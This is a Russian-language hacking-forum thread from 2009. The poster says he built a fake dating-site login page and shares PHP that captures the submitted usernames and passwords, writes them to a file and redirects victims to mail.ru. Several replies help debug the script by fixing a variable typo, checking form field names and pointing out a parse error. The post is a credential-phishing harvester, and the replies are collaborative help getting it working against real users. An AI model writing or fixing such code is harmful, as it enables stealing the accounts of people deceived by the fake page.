ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

что же здесь не так то???
  #1  
Старый 09.03.2009, 22:04
Аватар для Ferment
Ferment
Новичок
Регистрация: 03.03.2009
Сообщений: 7
Провел на форуме:
90412

Репутация: -2
По умолчанию что же здесь не так то???

сделал очередной фэйк на знакомства, после ввода логина и пароля перекидывает человека куда нужно, к базе обращается и даже пишет в ней, но только двоеточие : , а не данные юзера
не глянете скрипт который за это отвечает, вроде всё проверил.....где ошибка?
<?PHP

$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,"$Login:$Passw\n"); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë

header(echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html


?>
 
Ответить с цитированием

  #2  
Старый 09.03.2009, 22:06
Аватар для diznt
diznt
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
Провел на форуме:
6128108

Репутация: 445


По умолчанию

fwrite($fp,"$Login:$Passw\n");

я думаю надо так

fwrite($fp,$Login.":".$Passw);

пробуй
 
Ответить с цитированием

  #3  
Старый 09.03.2009, 22:09
Аватар для Gifts
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

Ferment Опечатка в коде, в одном месте $Pass в другом $Passw И еще одно - текст формы в студию, возможно поля называются не Login Password
 
Ответить с цитированием

  #4  
Старый 10.03.2009, 00:23
Аватар для Ferment
Ferment
Новичок
Регистрация: 03.03.2009
Сообщений: 7
Провел на форуме:
90412

Репутация: -2
По умолчанию

сделал как написал diznt но результат не изменился. так и присылает на базу двоеточие и всё......
<?PHP

$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,$Login.":".$Pass); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë

header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//???? ?????? ???????????? ????? ???? ??? ?? ???? ??????!

?>
 
Ответить с цитированием

  #5  
Старый 10.03.2009, 00:40
Аватар для nonamez
nonamez
Познавший АНТИЧАТ
Регистрация: 22.07.2007
Сообщений: 1,291
Провел на форуме:
3884427

Репутация: 766


Отправить сообщение для nonamez с помощью ICQ
По умолчанию

Цитата:
$_POST['Password']
$_POST['Login']
скорей всего в этом дело-не правельные переменные пытаешься ловить
 
Ответить с цитированием

  #6  
Старый 10.03.2009, 00:42
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

ТС просто не понимает, что он даже не весь код выложил
 
Ответить с цитированием

  #7  
Старый 10.03.2009, 00:56
Аватар для kl0yn
kl0yn
Познающий
Регистрация: 15.12.2008
Сообщений: 30
Провел на форуме:
438085

Репутация: 15
По умолчанию

как уже говорили проверь в форме названия инпутов "Login", "Password".
Возможно данные с формы передаються методом get.
Вообщем, попробуй $_REQUEST['Login'] вместо $_POST['Login']
 
Ответить с цитированием

  #8  
Старый 10.03.2009, 01:00
Аватар для 4adr0s
4adr0s
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме:
329826

Репутация: 75
По умолчанию

Я может и ламос, но вопрос такой: а не стоит ли переменные запятыми отделять??
fwrite($fp,$Login,":",$Passw);
 
Ответить с цитированием

  #9  
Старый 10.03.2009, 01:01
Аватар для eLWAux
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

если би хоть кто-то запустил, он би увидел ошибку
Цитата:
Parse error: parse error, expecting `')'' on line 9
Код:
<?php

$Login = $_POST['Login'];
$Pass = $_POST['Password'];
$fp = fopen("654321","a+"); 
fwrite($fp,"$Login:$Passw\n");
fclose($fp);

header(echo "<html><head><META HTTP-EQUIV='Refresh'
    content ='0; URL=http://cards.mail.ru/card.html");

?>
видимо автор тупо скопировал скрипт
p.s.: даже при запуске пишет что ошибка на 9 строчке. так зачем ти ищеш ошибку во второй ?!

Последний раз редактировалось eLWAux; 10.03.2009 в 01:04..
 
Ответить с цитированием

  #10  
Старый 10.03.2009, 01:05
Аватар для kl0yn
kl0yn
Познающий
Регистрация: 15.12.2008
Сообщений: 30
Провел на форуме:
438085

Репутация: 15
По умолчанию

4adr0s,
int fwrite ( resource $handle, string $string [, int $length] )

$handle - хендл файла
$string - строка которую хочешь записать
$length - длина строки (этот параметр не объязателен)
т.е. максимум 3 параметра

а у тебя параметров 4
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом E-Mail и анкет Vkontakte.ru на заказ Frost26 О Работе 25 19.11.2009 22:00
Анеки=) porter Болталка 25 25.11.2006 21:10
Правда о докторе Айболите Дрэгги Болталка 17 30.09.2006 13:34
Майкл Делл novichok Чужие Статьи 0 29.03.2006 21:51
XSS крупным планом. Thesaurus Авторские статьи 46 12.03.2006 23:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ